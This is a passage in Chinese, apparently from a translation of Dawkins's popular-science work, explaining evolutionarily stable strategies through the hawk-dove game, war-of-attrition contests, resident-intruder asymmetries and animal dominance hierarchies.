strategy以下简称ESS）是史密斯提出的基本概念。他追根溯源，发现最早有这种想法的是汉密尔顿（W.D.Hamilton）和麦克阿瑟（R.H.MacArthur）。“策略"是一种程序预先编制好的行为策略。例如，“向对手进攻；如果它逃就追；如果它还击就逃"就是一种策略。我们所说的策略并不是个体有意识地制订出来的，弄清这点十分重要。不要忘记，我们是把动物描绘成机器人一样的生存机器，它的肌肉由一架程序预先编制好的计算机控制。用文字把策略写成一组简单的指令只是为了便于我们思考。由某种难以具体讲清楚的机制作用所产生的动物行为，就好象是以这样的指令为根据的。　　凡是种群的大部分成员采用某种策略，而这种策略的好处为其他策略所比不上的，这种策略就是进化上的稳定策略或ESS。这一概念既微妙又很重要。换句话讲，对于个体来说，最好的策略取决于种群的大多数成员在做什么。由于种群的其余部分也是由个体组成，而它们都力图最大限度地扩大其各自的成就，因而能够持续存在的必将是这样一种策略：它一旦形成，任何举止异常的个体的策略都不可能与之比拟。在环境的一次大变动之后，种群内可能出现一个短暂的进化上的不稳定阶段，甚至可能出现波动。但一种ESS一旦确立，就会稳定下来：偏离ESS的行为将要受到自然选择的惩罚。　　为将这一观点用于解释进犯行为，我们来研究一下史密斯所假设的一个最简单的例子。假定有一个特定的物种叫鹰和鸽子（这两个名称系按人类的传统用法，但同这两种鸟的习性无关：其实鸽子是一种进攻性相当强的鸟。）在这个物种的某个种群中只存在两种搏斗策略。在我们这个假定的种群中，所有个体不是鹰就是鸽子。鹰搏斗起来总是全力以赴，孤注一掷的，除非身负重伤，否则绝不退却；而鸽子却只是以风度高雅的惯常方式进行威胁恫吓，从不伤害其他动物。如果鹰同鸽子搏斗，鸽子迅即逃跑，因此鸽子不会受伤。如果是鹰同鹰进行搏斗，它们会一直打到其中一只受重伤或死亡才罢休。如果是鸽子同鸽子相遇，那就谁也不会受伤；它们长时间地摆开对峙的架式，直到它们中的一只感到疲劳了，或者感到厌烦而决定不再对峙下去，从而作出让步为止。我们暂且假定一个个体事先无法知道它的对手是鹰还是鸽子。只有在与之进行搏斗时才弄清楚，而且它也记不起过去同哪些个体进行过搏斗，因此无从借鉴。　　现在，作为一种纯粹是随意规定的比赛规则，我们规定竞赛者"得分"标准如下：赢一场50分，输一场0分，重伤者-100分，使竞赛拖长浪费时间者-10分。我们可以把这些分数视为能够直接转化为基因生存的通货。得分高而平均"盈利"也高的个体就会在基因库中遗留下许多基因。在广泛的范围内，实际的数值对分析并无多大意义，但却可以帮助我们去思考这一问题。　　鹰在同鸽子搏斗时，鹰是否有击败鸽子的倾向，对此我们并不感兴趣，这点是重要的。我们已经知道这个问题的答案：鹰永远会取胜。我们想要知道的是，究竟是鹰还是鸽子是进化上的稳定策略型。如果其中一种是ESS型而另一种不是，那么我们认为属ESS型的那种才会进化。从理论上讲，存在两种ESS型是可能的。不论种群大多数成员所采取的碰巧是什么样的策略–鹰策略也好，鸽子策略也好–对任何个体来说，如果最好的策略是随大流的话，那么，存在两种ESS型是可能的。在这种情况下，种群一般总是保持在自己的两种稳定状态中它首先达到的那一种状态。然而我们将会看到，这两种策略，不论是鹰的策略还是鸽子的策略，事实上单凭其自身不可能在进化上保持稳定性，因此我们不应该指望它们任何一个会得以进化。为了说明这点，我们必须计算平均盈利。　　假设有一个全部由鸽子组成的种群。不论它们在什么时候进行搏斗，谁也不会受伤。这种比赛都是一些时间拖得很长、按照仪式进行的竞赛，也许是相互虎视眈眈的对峙，只有当一个对手让步，这种竞赛才告结束。于是得胜者因获取有争议的资源而得50分，但因长时间地相互虎视眈眈而浪费时间被罚-10分，因此净得40分。而败方也因浪费时间而被罚-10分。每只鸽子平均可望输赢各半。因此每场竞赛的平均盈利是＋40分和-10分的平均数，即＋15分。所以，鸽子种群中每只鸽子看来成绩都不错。　　但是现在假设在种群中出现了一个突变型的鹰。由于它是周围唯一的一只鹰，因此它的每一次搏斗都是同鸽子进行的。鹰对鸽子总是保持不败记录，因此它每场搏斗净得＋50分，而这个数字也就是它的平均盈利。由于鸽子的盈利只有＋15分，因此鹰享有巨大的优势。结果鹰的基因在种群内得以迅速散布。但鹰却再也不能指望它以后遇到的对手都是鸽子了。再举一极端例子，如果鹰基因的成功扩散使整个种群都变成了鹰的天下，那么所有的搏斗都变成鹰同鹰之间的搏斗。这时情况就完全不同了。当鹰同鹰相遇时，其中一个受重伤，得-100分，而得胜者则得＋50分。鹰种群中每只鹰在搏斗中可望胜负各半。因此，它在每场搏斗中平均可望得到的盈利是＋50分和-100分的对半，即-25分。现在让我们设想一下，一只生活在鹰种群中的子然一身的鸽子的情景吧。毫无疑问，它每次搏斗都要输掉。但另一方面它却绝不会受伤。因此，它在鹰种群中的平均盈利为0，而鹰种群中的鹰平均盈利却是-25分。因此鸽子的基因就有在种群中散布开来的趋势。　　按照我这种叙述方式，好象种群中存在一种连续不断的摇摆状态。鹰的基因扶摇直上迅速占据优势；鹰在数量上占据多数的结果是，鸽子基因必然受益，继而数量增加，直到鹰的基因再次开始繁衍，如此等等。然而情况并不一定是这样摇摆动荡。鹰同鸽子之间有一个稳定的比率。你只要按照我们使用的任意规定的评分制度计算一下的话，其结果是鸽子同鹰的稳定比率为5/12:7/12。在达到这一稳定比率时，鹰同鸽子的平均盈利完全相等。因此，自然选择不会偏袒甲而亏待乙，而是一视同仁。如果种群中鹰的数目开始上升，比率不再是 7/12，鸽子就会开始获到额外的优势，比率会再回复到稳定状态。如同我们将要看到的性别的稳定比率是50：50一样，在这一假定的例子中，鹰同鸽子的稳定比率是7：5。在上述的两种比率中，如果发生偏离稳定点的摇摆，这种摆动的幅度不一定很大。　　这种情况乍听起来有点象群体选择，但实际上同群体选择毫无共同之处。这种情况听上去之所以象群体选择，是因为它使我们联想到处于一种稳定平衡状态的种群，每当这种平衡被打破，该种群往往能够逐渐恢复这种平衡。但ESS较之群体选择是一种远为精细微妙的概念。它同某些群体比另外一些群体获得更大成功这种情况毫无关系。这只要应用我们假定的例子中的任意评分制度就能很好地加以说明。在由7/12的鹰和5/12的鸽子组成的稳定种群中，个体的平均盈利证明为61/4分。不论该个体是鹰还是鸽子都是如此。6 1/4分比鸽子种群中每只鸽子的平均盈利（15分）少很多。只要大家都同意成为鸽子，每个个体都会受益。根据单纯的群体选择，任何群体，如其所有个体都一致同意成为鸽子，它所取得的成就比停留在ESS比率上的竞争群体要大得多。（事实上，纯粹由鸽子组成的集团并不一定是最能获得成功的群体。由1/6的鹰和5/6的鸽子所组成的群体中，每场竞赛的平均盈利16 2/3分。按这个比例组成的才是最有可能获得成功的集团。但就目前的论题而言，我们可以不必考虑这种情况。对每一个体来说，比较单纯的全部由鸽子组成集团，由于每一个体的平均盈利为15分，它要比ESS优越得多。）因此，群体选择理论认为向全部由鸽子组成的集团进化是发展的趋势，因为鹰占7/12的群体取得成功的可能性要小些。但问题是，即使是那些从长远来讲能为其每一成员带来好处的集团，仍免不了会出现害群之马。清一色的鸽子群体中每一只鸽子的境遇都比ESS群体中的鸽子好些，这是事实。然而遗憾的是，在鸽子集团中，一只鹰单枪匹马就可干出无与伦比的业迹，任何力量也不能阻止鹰的进化。因此这个集团因出现内部的背叛行为而难逃瓦解的厄运。ESS种群的稳定倒不是由于它特别有利于其中的个体，而仅仅是由于它无内部背叛行为之隐患。　　人类能够结成各种同盟或集团，即使这些同盟或集团在ESS的意义上来说并不稳定，但对每个个体来说却是有利的。这种情况之所以可能，仅仅是由于每一个体都能有意识地运用其预见能力，从而懂得遵守盟约的各项规定是符合其本身的长远利益的。某些个体为了有可能在短期内获得大量好处而不惜违犯盟约，这种做法的诱惑力会变得难以抗拒。这种危险甚至在人类所缔结的盟约中也是始终存在的。垄断价格也许是最能说明问题的一个例子。将汽油的统一价格定在某种人为的高水平上，是符合所有加油站老板的长远利益的。那些操纵价格的集团，由于对最高的长远利益进行有意识的估计判断，因此能够存在相当长的时期。但时常有个别的人会受到牟取暴利的诱惑而降低价格。这种人附近的同行立刻就会步其后尘，于是降低价格的浪潮就会波及全国。使我们感到遗憾的是，那些加油站老板的有意识的预见能力，这时重新发挥其作用，并缔结垄断价格的新盟约。所以，甚至在人类这一具有天赋的自觉预见能力的物种中，以最高的长远利益为基础的盟约或集团，由于现内部的叛逆而摇摇欲坠，经常有土崩瓦解的可能。在野生动物中，由于它们为竞争的基因所控制，群体利益或集团策略能够得以发展的情形就更少见。我们所能见到的情况必然是：进化上的稳定策略无处不在。　　在上面的例子中，我们简单地假定每一个个体不是鹰就是鸽子。我们得到的最终结果是，鹰同鸽子达到了进化上的稳定比率。事实上，就是说鹰的基因同鸽子的基因在基因库中实现了稳定的比率。这种现象在遗传学的术语里被称为稳定的多态性（polymorphism）。就数学而言，可以通过下面这个途径实现没有多态性的完全相等的ESS。如果在每次具体竞赛中每一个体都能够表现得不是象鹰就是象鸽子的话，这样一种ESS就能实现：所有的个体表现得象鹰一样的概率完全相等。在我们的具体例子中这个概率就是7/12。实际上这种情况说明，每一个个体在参加每次竞赛时，对于在这次竞赛中究竟要象鹰还是象鸽子那样行动，事先已随意作出了决定；尽管决定是随意作出的，但总是考虑到鹰7鸽5的比例。虽然这些决定偏向于鹰，但必须是任意的，所谓任意是指一个对手无法事先猜出对方在任何具体的竞赛中将采取何种行动，这一点是至关重要的。例如，在连续七次搏斗中充当鹰的角色，然后在连续五次搏斗中充当鸽子的角色如此等等是绝对不可取的。如果任何个体采用如此简单的搏斗序列，它的对手很快就会识破这种策略并加以利用。要对付这种采用简单搏斗序列的战略者，只有在知道它在搏斗中充当鸽子的角色时，你以鹰的行动去应战就能处于有利地位。　　当然，鹰同鸽子的故事简单得有点幼稚。这是一种"模式”，虽然这种情况在自然界实际上不会发生，但它可以帮助我们去理解自然界实际发生的情况。模式可以非常简单，如我们所假设的模式，但对理解一种论点或得出一种概念仍旧是有助益的。简单的模式能够加以丰富扩展，使之逐渐形成更加复杂的模式。如果一切顺利的话，随着模式渐趋复杂，它们也会变得更象实际世界。要发展鹰同鸽子的模式，一个办法是引进更多的策略。鹰同鸽子并不是唯一的可能性。史密斯和普赖斯所介绍的一种更复杂的策略称为还击者策略（Retaliator）。　　还击策略者在每次搏斗开始时表现得象鸽子，就是说它不象鹰那样，开始进攻就孤注一掷，凶猛异常，而是摆开通常那种威胁恫吓的对峙姿态，但是对方一旦向它进攻，它即还击。换句话说，还击策略者当受到鹰的攻击时，它的行为象鹰；当同鸽子相遇时，它的行为象鸽子，而当它同另一个还击策略者遭遇时，它的表现却象鸽子。还击策略者是一种以条件为转移的策略者。它的行为取决于对方的行为。　　另一种有条件的策略者称为恃强欺弱的策略者（Bully）。它的行为处处象鹰，但一旦受到还击，它立刻就逃之夭夭。还有一种有条件的策略者是试探还击策略者（prober-retaliator）。它基本上象还击策略者，但有时也会试探性地使竞赛短暂地升级。如果对方不还击，它坚持象鹰一样行动；另一方面，如果对方还击，它就回复到鸽子的那种通常的威胁恫吓姿态。如果受到攻击，它就象普通的还击策略者一样进行还击。　　如果将我提到的五种策略都放进一个模拟计算机中去，使之相互较量，结果其中只有一种，即还击策略，在进化上是稳定的。试探性还击策略近乎稳定。鸽子策略不稳定，因为鹰和恃强欺弱者会侵犯鸽子种群。由于鹰种群会受到鸽子和恃强欺弱者的进犯，因此鹰策略也是不稳定的。由于恃强欺弱者种群会受到鹰的侵犯，恃强欺弱者策略也是不稳定的。在由还击策略者组成的种群中，由于其他任何策略也没有还击策略本身取得的成绩好，因此它不会受其他任何策略的侵犯。　　然而鸽子策略在纯由还击策略者组成的种群中也能取得相等的好成绩。这就是说，如果其他条件不变，鸽子的数目会缓慢地逐渐上升。如果鸽子的数目上升到相当大的程度，试探性还击策略（而且连同鹰和恃强欺弱者）就开始取得优势，因为在同鸽子的对抗中它们要比还击策略取得更好的成绩。试探性还击策略本身，不同于鹰策略和恃强欺弱策略，它在试探性还击策略的种群中，只有其他一种策略，即还击策略，比它取得的成绩好些，而且也只是稍微好一些。在这一意义上讲，它几乎是一种ESS。因此我们可以设想，还击策略和试探性还击策略的混合策略可能趋向于占绝对优势，在这两种策略之间也许甚至有幅度不大的摇摆，同时占比例极小的鸽子在数量上也有所增减。我们不必再根据多态性去思考问题，因为根据多态性，每一个体永远是不采用这种策略，就是采用另一种策略。每一个体事实上可以采用一种还击策略、试探性还击策略以及鸽子策略三者相混的复杂策略。　　这一理论的结论同大部分野生动物的实际情况相去不远。在某种意义上说，我们已经阐述了动物进犯行为中"文明"的一面。至于细节，当然取决于赢、受伤和浪费时间等等的实际"得分”。对于象形海豹来说，得胜的奖赏可能是让它几乎独占一大群"妻妾"的权利。因此这种取胜的盈利应该说是很高的。这就难怪搏斗起来是那样的穷凶极恶，而造成重伤的可能性又是如此之高。把在搏斗中受伤所付出的代价与赢得胜利所得到的好处相比，浪费时间所付出的代价应该说是小的。但另一方面，对一只生活在寒冷的气候中的小鸟来说，浪费时间的代价可能是极大的。喂养雏鸟的大山雀平均每三十秒钟就需要捕到一件猎获物。白天的每一秒钟都是珍贵的。在鹰同鹰的搏斗中，浪费的时间相对来说是短促的，但比起它们受伤的风险，时间的浪费也许应该看作是一件更为严重的事情。遗憾的是，在自然界中各种活动所造成的损失以及带来的利益，目前我们知之甚少，不能够提出实际数字。我们不能单纯从我们自己任意选定的数字中轻易地得出结论。ESS型往往能够得以进化； ESS型同任何群体性的集团所能实现的最佳条件不是一回事；常识会使人误入歧途，上述这些总的结论是重要的。　　史密斯所思考的另一类战争游戏叫作"消耗战"。可以认为，这种"消耗战"发生在从不参加危险战斗的物种中，也许是盔甲齐全的一个物种，它的受伤可能性很小。这类物种中的一切争端都是按传统的方式摆摆架势来求得解决。竞赛总是以参加竞赛的一方让步而告终。你要是想赢得胜利，那只要虎视眈眈地注视着对方，坚持到底毫不动摇，直到对方最终逃走。显然任何动物都不能够无限期地进行威胁恫吓；因为其他地方还有重要的事情要做。它为之竞争的资源诚可宝贵，但其价值也并非无限。它的价值只值得化这么多时间，而且正如在拍卖时一样，每一个人只准备出那么多钱。时间就是这种只有两个出价人参加的拍卖中使用的通货。　　我们假定所有这些个体都事先精确估计，某一种具体资源（如雌性动物）值得化多长时间。那么一个打算为此稍微多化一点时间的突变性个体就永远是胜利者。　　因此，出价极限固定不变的策略是不稳定的。即使资源的价值能够非常精确地估计出来，而且所有个体的出价也都恰如其分，这种策略也是不稳定的。任何两个个体按照极限策略出价，它们会在同一瞬间停止喊价，结果谁也没有得到这一资源！在这种情况下与其在竞赛中浪费时间倒不如干脆一开始就弃权来得上算。消耗战同实际拍卖之间的重要区别在于，在消耗战中参加竞赛的双方毕竟都要付出代价，但只有一方得到这件货色。所以，在极限出价者的种群中，竞赛一开头就弃权的策略会获得成功，从而也就在种群中扩散开来。其结果必然是，对于那些没有立刻弃权而是在弃权之前稍等那么几秒钟的个体来说，它们可能得到的某些好处开始增长起来。这是一种用以对付已经在种群中占绝对优势的那些不战而退的个体的有利策略。这样，自然选择有利于在弃权之前坚持一段时间，使这段时间逐渐延长，直至再次延长到有争议的资源的实际经济价值所容许的极限。　　谈论之际，我们不知不觉又对种群中的摇摆现象进行了描述。然而数学上的分析再次表明，这种摇摆现象并非不可避免的。进化上的稳定策略是存在的，它不仅能够以数学公式表达出来，而且能用语言这样来说明：每一个个体在一段不能预先估计的时间内进行对峙，就是说，在任何具体场合难以预先估计，但按照资源的实际价值可以得出一个平构数。举例说，假如该资源的实际价值是五分钟的对峙。在进化上的稳定策略中，任何个体都可能持续五分钟以上，或者少于五分钟，或者恰好五分钟。重要的是，对方无法知道在这一具体场合它到底准备坚持多长时间。　　在消耗战中，个体对于它准备坚持多久不能有任何暗示，这点显然是极为重要的。对任何个体来说，认输的念头一旦流露，那怕只是一根胡须抖动了一下，都会立刻使它处于不利地位。如果说胡须抖动一下就是预示在一分钟内就要退却的可靠征兆，赢得胜利的一个非常简单的策略是：“如果你的对手的胡须抖动了一下，不论你事先准备坚持多久，你都要再多等一分钟。如果你的对手是胡须尚未抖动，而这时离你准备认输的时刻已不到一分钟，那你就立刻弃权，不要再浪费任何时间。绝不要抖动你自己的胡须。“因此，抖动胡须或预示未来行为的任何类似暴露都会很快受到自然选择的惩罚。不动声色的面部表情会得到发展。　　为什么要面部表情不动声色，而不是公开说谎呢？其理由还是因为说谎行为是不稳定的。假定情况是这样：在消耗战中，大部分个体只有在确实想长时期战斗下去时才把颈背毛竖起来，那么，能够发展的将是明显的相反策略：在对手竖起颈背毛时立刻认输。但这时说谎者的队伍有可能开始逐渐形成。那些确实无意长时间战斗下去的个体在每次对峙中都将其颈背毛竖起，于是胜利的果实唾手可得。　　说谎者基因因此扩散开来。在说谎者成为多数时，自然选择就又会有利于那些能够迫使说谎者摊牌的个体。因而说谎者的数目会再次减少。在消耗战中，说谎和说实话同样都不是进化上的稳定策略。不动声色的面部表情方是在进化上的稳定策略。即使最终认输，也是突如其来和难以逆料的。　　以上我们仅就史密斯称之为"对称性”（symmetric）竞赛的现象进行探讨。意思是说，我们所作的假定是，竞赛参加者除搏斗策略之外，其余一切方面的条件都是相等的。我们把鹰和鸽子假定为力量强弱相同，具有的武器和防护器官相同，而且可能赢得的胜利果实也相同。对于假设一种模式来说，这是简便的，但并不太真实。帕克和史密斯也曾对"不对称"的竞赛进行了探讨。举例说，如果个体在身材大小和搏斗能力方面各不相同，而每一个体也能够对自己的和对手的身材大小进行比较并作出估计的话，这对形成的ESS是否有影响？肯定是有影响的。　　不对称现象似乎主要有三类。第一类就是我们刚才提到的那种情况：个体在身材大小或搏斗装备方面可能不同；第二类是，个体可能因胜利果实的多寡而有所区别。比如说，衰老的雄性动物，由于其余生不会很长，如果受伤，它的损失较之来日方长的、精力充沛的年轻雄性动物可能要少。　　第三类，纯属随意假定而且明显互不相干的不对称现象能够产生一种ESS，因为这种不对称现象能够使竞赛很快见分晓，这是这种理论的一种异乎寻常的推论。　　比如说，通常会发生这样的情况，即两个竞争者中的一个比另一个早到达竞赛地点。我们就分别称它们为"留驻者”（resident）和"闯入者"（intruder）。　　为了便于论证起见，我是这样进行假定的，不论是留驻者还是闯入者都不因此而具有任何附加的有利条件。我们将会看到，这一假定在实际生活中可能与事实不符，但这点并不是问题的关键。问题的关键在于，纵令留驻者具有优于闯入者的有利条件这种假定无理可据，基于不对称现象本身的ESS也很可能会得以形成。　　简单地讲，这和人类抛掷钱币，并根据钱币的正反面来迅速而毫不用争执地解决争论的情况有类似之处。　　“如果你是留驻者，进攻；如果你是闯入者，退却，“这种有条件的策略能够成为ESS。由于不对称现象是任意假定的，因此，“如果是留驻者，退却；如果是闯入者，进攻"这种相反的策略也有可能是稳定的。具体种群中到底采取这两种ESS中的哪一种，这要取决于其中的哪一种ESS首先达到多数。个体的大多数一旦运用这两种有条件的策略的某一种，所有脱离群众的行为皆受到惩罚，这种策略就因之称为ESS。　　譬如说，假定所有个体都实行"留驻者赢，闯入者逃"的策略。就是说它们所进行的搏斗将会是输赢各半。它们绝不会受伤，也绝不会浪费时间，因为一切争端都按任意作出的惯例迅速得到解决。现在让我们设想出现一个新的突变型叛逆者。假定它实行的是纯粹的鹰的策略，永远进攻，从不退却，那么它的对手是闯入者时，它就会赢；而当它的对手是留驻者时，它就要冒受伤的很大风险。平均来说，它比那些按ESS的任意规定的准则进行比赛的个体，得分要低些。如果叛逆者不顾惯常的策略而试图反其道而行之，采取"如身为留驻者就逃；如身为闯入者就进攻"的策略，那么它的下场会更糟。它不仅时常受伤，而且也极少有机会赢得一场竞赛。然而，假定由于某些偶然的变化，采用同惯例相反的策略的个体竟然成了多数，这样它们的这种策略就会成为一种准则，偏离它就要受到惩罚。可以想见，我们如果连续观察一个种群好几代，我们就能看到一系列偶然发生的从一种稳定状态跳到另一种稳定状态的现象。　　但是实际生活中可能并不存在真正的任意不对称现象。如留驻者实际上可能比闯入者享有更有利的条件，因为它们对当地的地形更熟悉。闯入者也许更可能是气喘吁吁的，因为它必须赶到战斗现场，而留驻者却是一直待在那里的。两种稳定状态中，“留驻者赢，闯入者退"这种状态存在于自然界的可能性更大，其所以如此的理由是比较深奥的。这是因为"闯入者赢，留驻者退"这种相反的策略有一种固有的自我毁灭倾向，史密斯把这种策略称为自相矛盾的策略。处于这种自相矛盾中的ESS状态的任何种群中，所有个体总是极力设法避免处于留驻者的地位：无论何时与对手相遇，它们总是千方百计地充当闯入者。为了做到这一点，它们只有不停地四处流窜，居无定所。这是毫无意义的。这种进化趋势，除无疑会招致时间和精力上的损失之外，其本身往往导致"留驻者"这一类型的消亡。在处于另一种稳定状态，即"留驻者赢，闯入者退"的种群中，自然选择有利于努力成为留驻者的个体。对每一个体来说，就是要坚守一块具体地盘，尽可能少离开，而且摆出"保卫"它的架势。这种行为如大家所知，在自然界中到处可见，大家把这种行为称为"领土保卫”。　　就我所知，伟大的个体生态学家廷伯根（Niko Tinbergen）所作的异常巧妙和一目了然的试验，再精彩不过地展示了这种行为上的不对称性。他有一只鱼缸，其中放了两条雄性刺鱼。它们在鱼缸的两端各自做了巢，并各自"保卫"其巢穴附近的水域。廷伯根将这两条刺鱼分别放人两个大的玻璃试管中，再把两个试管并排放一起，只见它们隔着玻璃管试图相互搏斗。于是产生了十分有趣的结果。　　当他将两个试营移到刺鱼A的巢穴附近时，A就摆出进攻的架势，而刺鱼B 就试图退却；但当他将两个试管移到刺鱼B 的水域时，因主客易地而形势倒转。廷伯根只要将两个试管从鱼缸的一端移向另一端，他就能指挥哪条刺鱼进攻，哪条退却。很显然，两条刺鱼实行的都是简单的有条件策略：“凡是留驻者，进攻；凡是闯入者，退却。“这种领土行为有什么生物学上的"好处”？这是生物学家时常要问的问题，生物学家提出了许多论点，其中有些论点稍后我们将会提及。但是我们现在就可以看出，提出这样的问题可能本来就是不必要的。这种领土"保卫"行为可能仅仅是由于抵达时间的不对称性而形成的一种ESS，而抵达时间的不对称性通常就是两个个体同一块地盘之间关系的一种特点。　　体积的大小和一般的搏斗能力，据认为是非任意性不对称现象中最重要的形式。　　体积大不一定就是赢得搏斗不可或缺的最重要特性，但可能是特性之一。如果两个个体搏斗时比较大的一个总是赢的话，如果每一个体都能确切知道自己比对手大还是小，只有一种策略是明智的：“如果你的对手比你体积大，赶快逃跑。同比你体积小的人进行搏斗。“假使体积的重要性并不那么肯定，情况也就随之更复杂些。如果体积大还是具有一点优越性的话，我刚才讲的策略就仍旧是稳定的。如果受伤的风险很大的话，还可能有一种"似非而是的策略”，即"专挑比你大的人进行搏斗，见到比你小的就逃”！称之为似非而是的原因是不言而喻的。因为这种策略似乎完全违背常识。它之所以能够稳定，其原因在于：在全部由似非而是的策略者组成的种群中，绝不会有人受伤，因为每场竞赛中，逃走的总是参加竞赛的较大的一个。一个大小适中的突变体如实行的是"合理"的策略，即专挑比自己体积小的对手，他就要同他所遇见的人中的一半进行逐步加剧的严重搏斗。因为，如果他遇到比自己小的个体，他就进攻；而较小的个体拼命还击，因为后者实行的是似非而是策略；尽管合理策略的实行者比似非而是策略的实行者赢得胜利的可能性更大一些，但他仍旧冒着失败和严重受伤的实际风险。由于种群中的大部分个体实行似非而是的策略，因而一个合理策略的实行者比任何一个似非而是策略的实行者受伤的可能性都大。　　即使似非而是的策略可能是稳定的，但它大概只具有学术上的意义。似非而是策略的搏斗者只有在数量上大大超过合理策略的搏斗者的情况下才能获得较高的平均盈利。首先，这样的状况如何能够出现实属难以想象。即使出现这种情况，合理策略者对似非而是策略者的比率也只要略微向合理策略者一边移动一点，便达到另一种ESS–合理的策略–的"引力区域”（zone of attraction）。所谓引力区域即种群的一组比率，在这个例子里，合理策略者处于这组比率的范围内时是有利的：种群一旦到达这一区域，就不可避免地被引向合理的稳定点。　　要是在自然界能够找到一个似非而是的ESS实例会是一件令人兴奋的事情，但我怀疑我们能否抱这样的侈望[我话说得太早了。在我写完了上面这句活之后，史密斯教授提醒我注意伯吉斯（Burgess）关于墨西哥群居蜘蛛Oecobius civitas（拟壁钱属）的行为所作的下述描绘"如果一只蜘蛛被惊动并被赶出其隐避的地方，它就急冲冲地爬过岩石，如岩石上面无隙缝可藏身，就可能到同一物种的其他蜘蛛的隐蔽地点去避难。如果闯入者进来时，这个蜘蛛正在家里，它并不进攻，而是急冲冲爬出去再为自己去另寻新的避难所。因此，一旦第一个蜘蛛被惊动，从一个蜘蛛网到另一个蜘蛛网的一系列替换过程要持续几秒钟，这种情况往往会使聚居区的大部分蜘蛛从它们本来的隐蔽所迁徙，到另一只蜘蛛的隐蔽所”（群居蜘蛛，《科学美国人》，1976年3月号）。这就是第109页上所讲的那种意义上的似非而是的现象］。　　假如个体对以往搏斗的结果保留某些记忆，情况又会是怎样呢？这要看这种记忆是具体的还是一般的。蟋蟀对以往搏斗的情况具有一般的记忆。一只蟋蟀如果在最近多次搏斗中获胜，它就会变得更具有鹰的特点；而一只最近连遭败北的蟋蟀，其特点会更接近鸽子。亚历山大（R.D. Alexander）很巧妙地证实了这种情况，他利用一个模型蟋蟀痛击真正的蟋蟀。吃过这种苦头的蟋蟀再同其他真正的蟋蟀搏斗时多数要失败。我们可以说，每个蟋蟀在同其种群中有平均搏斗能力的成员作比较的同时，对自己的搏斗能力不断作出新的估计。如果把对以往的搏斗情况具有一般记忆的动物，如蟋蟀，集中在一起组成一个与外界不相往来的群体，过一段时间之后，很可能会形成某种类型的统治集团。观察者能够把这些个体按级别高低的顺序排列。在这一顺序中级别低的个体通常要屈从于级别高的个体。这倒没有必要认为这些个体相互能够辨认。习惯于赢的个体就越是会赢，习惯于失败的个体就越是要失败。实际情况就是如此。即使开始时个体的胜利或失败完全是偶然的，它们会自动归类形成等级。这种情况附带产生了一个效果：群体中激烈的搏斗逐渐减少。　　我不得不用"某种类型的统治集团"这样一个名称，因为许多人只把"统治集团”（dominance hierarchy）这个术语用于个体具有相互辨认能力的情况。在这类例子中，对于以往搏斗的记忆是具体的而不是一般的。作为个体来说，蟋蟀相互辨认不出，但母鸡和猴子都能相互辨认。如果你是一个猴子的话，一个过去曾经打败过你的猴子，今后还可能要打败你。对个体来说，最好的策略是，对待先前曾打败过它的个体应采取相对的带有鸽派味道的态度。如果我们把一群过去相互从未见过的母鸡放在一起，通常会引起许多搏斗。一段时间之后，搏斗越来越少，但其原因同蟋蟀的情况不同。对母鸡来说，搏斗减少是因为在个体的相互关系中，每一个体都能"安分守己”。这对整个群体来说也带来好处，下面的情况足资证明：有人注意到，在已确立的母鸡群体中，很少发生凶猛搏斗的情况，蛋的产量就比较高；相比之下，在其成员不断更换因而搏斗更加频繁的母鸡群体中，蛋产量就比较低。生物学家常常把这种"统治集团"在生物学上的优越性或"功能"说成是在于减少群体中明显的进犯行为。然而这种讲法是错误的。　　不能说统治集团本身在进化的意义上具有"功能"，因为它是群体而不是个体的一种特性。通过统治集团的形式表现出来的个体行为模式，从群体水平的观点上来看，可以说是具有功能的。然而，如果我们根本不提"功能"这个词，而是按照存在有个体辨认能力和记忆的不对称竞赛中的各种ESS来考虑这个问题，这样甚至会更好些。　　迄今我们所考虑的竞争都是指同一物种的成员间的竞争。物种间的竞争情况又是如何呢？我们上面已经谈过，不同物种的成员之间的竞争，不象同一物种的成员之间那样直接。基于这一理由，我们应该设想它们有关资源的争端是比较少的，我们的预料已得到证实。例如，知更鸟保卫地盘不准其他知更鸟侵犯，但对大山雀却并不戒备。我们可以画一幅不同个体知更鸟在树林中分别占有领地的地图，然后在上面叠上一幅个体大山雀领地地图，可以看到两个物种的领地部分重叠，完全不相互排斥，它们简直象生活在不同的星球上。　　但不同物种的个体之间也要发生尖锐的利害冲突，不过其表现形式不同而已。例如，狮子想吃羚羊的躯休，而羚羊对于自己的躯体却另有截然不同的打算。虽然这种情况不是通常所认为的那种争夺资源的竞争，但从逻辑上说，不算竞争资源，道理上难以讲通。在这里，有争议的资源是肉。狮子的基因"想要"肉供其生存机器食用，而羚羊的基因是想把肉作为其生存机器进行工作的肌肉和器官。　　肉的这两种用途是互不相容的，因此就发生了利害冲突。　　同一物种的成员也是肉做的，但为什么同类相食的情况相对来说这样少呢？这种情况我们在黑头鸥中见到过，成年鸥有时要吃自己物种的幼鸥。但我们从未见到成年的肉食动物为吞食自己物种的其他成年动物而主动去追逐它们。为什么没有这种现象呢？我们仍旧习惯于按照"物种利益"的进化观点去思考问题，以致我们时常忘记摆出这样完全有道理的问题：“为什么狮子不去追捕其他狮子？“还有一个人们很少提出的其实是很好的问题：“羚羊为什么见到狮子就逃，而不进行回击呢？“狮子之所以不追捕狮子是因为那样做对它们来说不是一种ESS。同类相食的策略是不稳定的，其原因和前面所举例子中的鹰策略相同。遭到反击的危险性太大了。而在不同物种的成员之间的竞争中，这种反击的可能性要小些，这也就是那么多的被捕食的动物要逃走而不反击的道理。这种现象可能源出于这样的事实：在不同物种的两只动物的相互作用中存在一种固有的不对称现象，而且其不对称的程度要比同一物种的成员之间大。竞争中的不对称现象凡是强烈的，ESS一般是以不对称现象为依据的有条件的策略。“如果你比对手小，就逃走；如果你比对手大，就进攻”，这种类型的策略很可能在不同物种成员之间的竞争中得到发展，因为可以利用的不对称现象非常之多。狮于和羚羊通过进化上的趋异过程而形成了一种稳定性，而竞争中本来就有的不对称现象也因此变得日益加强。追逐和逃跑分别变成它们各自的高超技巧。一只突变型羚羊如果采取了"对峙并搏斗"的策略来对付狮子，它的命运同那些消失在地平线上的其他羚羊相比，可能要不妙得多。　　